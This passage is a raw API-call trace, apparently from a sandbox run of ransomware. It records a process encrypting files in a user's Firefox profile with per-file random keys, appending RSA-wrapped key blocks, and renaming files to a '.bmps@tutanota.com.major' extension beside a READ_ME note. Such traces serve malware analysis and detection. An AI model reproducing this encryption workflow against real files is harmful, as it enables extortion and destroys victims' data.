Flags=0x0, Size=0x166) returned 0x5cdde8 [0241.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6591f8 | out: hHeap=0x570000) returned 1 [0241.004] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\cpgbjoau4sgmj94wzxvybg==.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a4c [0241.004] GetFileSizeEx (in: hFile=0x1a4c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1513) returned 1 [0241.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5e9) returned 0x66e548 [0241.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5e9) returned 0x313e008 [0241.004] ReadFile (in: hFile=0x1a4c, lpBuffer=0x66e548, nNumberOfBytesToRead=0x5e9, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x5e9, lpOverlapped=0x0) returned 1 [0241.005] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-1513, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.005] WriteFile (in: hFile=0x1a4c, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x5e9, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5e9, lpOverlapped=0x0) returned 1 [0241.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0241.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x313e008 | out: hHeap=0x570000) returned 1 [0241.006] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5e9 [0241.006] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.006] WriteFile (in: hFile=0x1a4c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.006] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.006] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.006] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0241.006] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="z6KLh9lxDWvoQycaFYJRAz5rye6z8pnpKMvZve0A7Id0L5179Cf2BPFAwAtYfMvG\nlkrhT8MgrNBiwM67seP5NXiYi25YxpSXl5itoPQuF8LFuU8UMBsqetPanq04IEC2\nxjR13LdT5Xr/ufCKNdtFGfN/2Iih89XZj91wKugKkhFNQxvVZBMGDcXHGPhBpSPG\nfu6UMnXJugd/DvHNQF7qRaO9vz+2eLIPv5bHIc5zf9rzOYVYkrZEJknjpqWGHOaH\n6kU1VLslzdd5A/8dsvnT5DEzENcEwSqnGeTpG1ZprrYSeC/1oBwfPtxZXuoGNGZ8\ndjF0uduQv/q2mEXHeH1SEg==\n", pcchString=0x2e3f9a8) returned 1 [0241.006] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.006] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.006] WriteFile (in: hFile=0x1a4c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.006] CloseHandle (hObject=0x1a4c) returned 1 [0241.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0241.007] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\cpgbjoau4sgmj94wzxvybg==.ico"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\cpgbjoau4sgmj94wzxvybg==.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdde8 | out: hHeap=0x570000) returned 1 [0241.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6870 | out: hHeap=0x570000) returned 1 [0241.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ab0 | out: hHeap=0x570000) returned 1 [0241.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6594e0 | out: hHeap=0x570000) returned 1 [0241.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659f88 [0241.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0241.008] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.009] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico", dwFileAttributes=0x80) returned 1 [0241.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ba8 [0241.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5cd808 [0241.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ba8 | out: hHeap=0x570000) returned 1 [0241.009] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\arncv1smcchdcrx9iku0ag==.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a4c [0241.009] GetFileSizeEx (in: hFile=0x1a4c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1156) returned 1 [0241.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x484) returned 0x66e548 [0241.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x484) returned 0x66e9d8 [0241.009] ReadFile (in: hFile=0x1a4c, lpBuffer=0x66e548, nNumberOfBytesToRead=0x484, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x484, lpOverlapped=0x0) returned 1 [0241.010] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-1156, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.011] WriteFile (in: hFile=0x1a4c, lpBuffer=0x66e9d8*, nNumberOfBytesToWrite=0x484, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e9d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x484, lpOverlapped=0x0) returned 1 [0241.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0241.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e9d8 | out: hHeap=0x570000) returned 1 [0241.011] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x484 [0241.011] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.011] WriteFile (in: hFile=0x1a4c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.011] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.011] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.011] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0241.011] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+Eomd/bhAiyf90LXKpjJ88swjtBSkFFjHFBtuajjzsBoto1k/6PJ2L5b6aI2v8RR\ngV1kiHy386aURMeGVjVKlwGKM4zqEc8AoujfKhnfjtLZXpgcTdO4TXWeWJXKjyCv\nksQN8KgFndeeQHH91ultzWUCMVxSdpWZeSuFiYAjzx7OUsPrjTVEYZVXR7pD2I3H\nTQzkpHI6BJMIXJeldaZdQYKP6BQ8VRAJ82EKm+osbRXn6PG7/3OIm4KzJFf6UCTn\niAc5v03WhGcpB7Uta7vEMC1geGynST+Nqu84NA4O5cs3MEK6qvxbSN5mCtSKzKIf\nQtoLO8wiUMq52nPUWoJkWA==\n", pcchString=0x2e3f9a8) returned 1 [0241.011] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.011] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.011] WriteFile (in: hFile=0x1a4c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.012] CloseHandle (hObject=0x1a4c) returned 1 [0241.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0241.012] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\arncv1smcchdcrx9iku0ag==.ico"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\arncv1smcchdcrx9iku0ag==.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0241.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0241.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659f88 | out: hHeap=0x570000) returned 1 [0241.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6597c8 | out: hHeap=0x570000) returned 1 [0241.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667628 [0241.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666ef8 | out: hHeap=0x570000) returned 1 [0241.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667290 | out: hHeap=0x570000) returned 1 [0241.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656bf0 | out: hHeap=0x570000) returned 1 [0241.013] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f349e0 [0241.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e1d8 | out: hHeap=0x570000) returned 1 [0241.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0241.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b1b0 [0241.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0241.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664468 [0241.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b1b0 | out: hHeap=0x570000) returned 1 [0241.014] GetLastError () returned 0x0 [0241.014] SetLastError (dwErrCode=0x0) [0241.014] GetLastError () returned 0x0 [0241.014] SetLastError (dwErrCode=0x0) [0241.014] GetLastError () returned 0x0 [0241.014] SetLastError (dwErrCode=0x0) [0241.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0241.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be580 [0241.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be580 | out: hHeap=0x570000) returned 1 [0241.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0241.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34c20 [0241.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34c20 | out: hHeap=0x570000) returned 1 [0241.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0241.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0241.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0241.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0241.015] FindNextFileW (in: hFindFile=0x2f349e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0241.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664468 | out: hHeap=0x570000) returned 1 [0241.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0241.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6642d8 [0241.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0241.015] GetLastError () returned 0x0 [0241.015] SetLastError (dwErrCode=0x0) [0241.015] GetLastError () returned 0x0 [0241.015] SetLastError (dwErrCode=0x0) [0241.015] GetLastError () returned 0x0 [0241.015] SetLastError (dwErrCode=0x0) [0241.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0241.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0241.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0241.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0241.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34ae0 [0241.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34ae0 | out: hHeap=0x570000) returned 1 [0241.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0241.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0241.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0241.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0241.016] FindNextFileW (in: hFindFile=0x2f349e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x143dfde4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="index.sqlite", cAlternateFileName="INDEX~1.SQL")) returned 1 [0241.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6642d8 | out: hHeap=0x570000) returned 1 [0241.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0241.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0241.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0241.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664c38 [0241.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0241.016] GetLastError () returned 0x0 [0241.016] SetLastError (dwErrCode=0x0) [0241.016] GetLastError () returned 0x0 [0241.016] SetLastError (dwErrCode=0x0) [0241.016] GetLastError () returned 0x0 [0241.016] SetLastError (dwErrCode=0x0) [0241.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67f8 [0241.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67f8 | out: hHeap=0x570000) returned 1 [0241.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664d00 [0241.016] FindNextFileW (in: hFindFile=0x2f349e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48887c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b48887c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0241.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664c38 | out: hHeap=0x570000) returned 1 [0241.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0241.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0241.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0241.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0241.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0241.016] GetLastError () returned 0x0 [0241.016] SetLastError (dwErrCode=0x0) [0241.016] GetLastError () returned 0x0 [0241.016] SetLastError (dwErrCode=0x0) [0241.017] GetLastError () returned 0x0 [0241.017] SetLastError (dwErrCode=0x0) [0241.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0241.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0241.017] FindNextFileW (in: hFindFile=0x2f349e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48887c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b48887c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0241.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664850 [0241.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0241.017] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.017] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", dwFileAttributes=0x80) returned 1 [0241.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6646c0 [0241.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60de60 [0241.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6646c0 | out: hHeap=0x570000) returned 1 [0241.017] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\index.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a50 [0241.018] GetFileSizeEx (in: hFile=0x1a50, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=262144) returned 1 [0241.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40000) returned 0x33f5018 [0241.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40000) returned 0x3435020 [0241.018] ReadFile (in: hFile=0x1a50, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x40000, lpOverlapped=0x0) returned 1 [0241.104] SetFilePointer (in: hFile=0x1a50, lDistanceToMove=-262144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.104] WriteFile (in: hFile=0x1a50, lpBuffer=0x3435020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3435020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x40000, lpOverlapped=0x0) returned 1 [0241.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: hHeap=0x570000) returned 1 [0241.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3435020 | out: hHeap=0x570000) returned 1 [0241.106] SetFilePointer (in: hFile=0x1a50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x40000 [0241.106] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.106] WriteFile (in: hFile=0x1a50, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.106] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.106] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.107] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0241.107] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 